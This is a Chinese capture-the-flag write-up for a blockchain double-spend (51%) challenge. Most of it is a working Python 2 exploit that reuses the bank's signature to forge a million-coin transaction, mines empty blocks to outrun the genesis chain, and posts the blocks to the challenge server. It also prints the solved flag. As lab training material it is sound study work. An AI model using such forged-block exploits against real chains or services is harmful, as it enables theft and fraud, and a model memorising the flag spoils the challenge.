题目
这道题考的是区块链里的双花攻击,大概意思是一笔资金可以花费两次,具体原理自己百度或看他
题目打开之后这样式的,第一眼看过去有点乱
点击View source code
可以发现这应该是DDCTF的原题
下面还有个flag文件提示需要一百万购买两颗钻石
【实验原理】
51%攻击(双花攻击)
【实验目的】
掌握双花攻击原理
【实验环境】
Windows
【实验工具】
firefox
解题过程
Poc 已给出,只需更改 ip 和三个 addr
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re
# 一堆变量常量
url_root="http://220.249.52.133:39176/"
url_create="http://220.249.52.133:39176/create_transaction"
url_flag="http://220.249.52.133:39176/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="a7c96365dfea156ebe73a6da4926c84e97bc9734a888b9b690a812617c0433044478ee39603fd84cf880a776a856b237"
hacke_addr="cd2139fd66b6317f93a6b102054650b7e105c6fce0cd18d9b20516a3136dfe76022fba6b589b734e749416d05a79b553"
shop_addr="a901a2d30a4cc027ad28a09f04e3c97ef12f18339e390ed35a353af114a8dbbcdf6759ea346a683889608e56af30b63f"
# 源码中的API
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)
return tx
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
# 构造的方法
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash<DIFFICULTY:
print json.dumps(current_block)
return current_block
def create_feak_one():
utxo_first=create_output_utxo(shop_addr,1000000)
tx_first=create_tx([bank_utox_id],[utxo_first])
return check_hash(prev_one,[tx_first])
def create_empty_block(prev):
return check_hash(prev,[])
# 攻击过程
a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content
Addr 就是访问页面时出现的这一部分
然后用 Python2 执行脚本,拿到答案ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}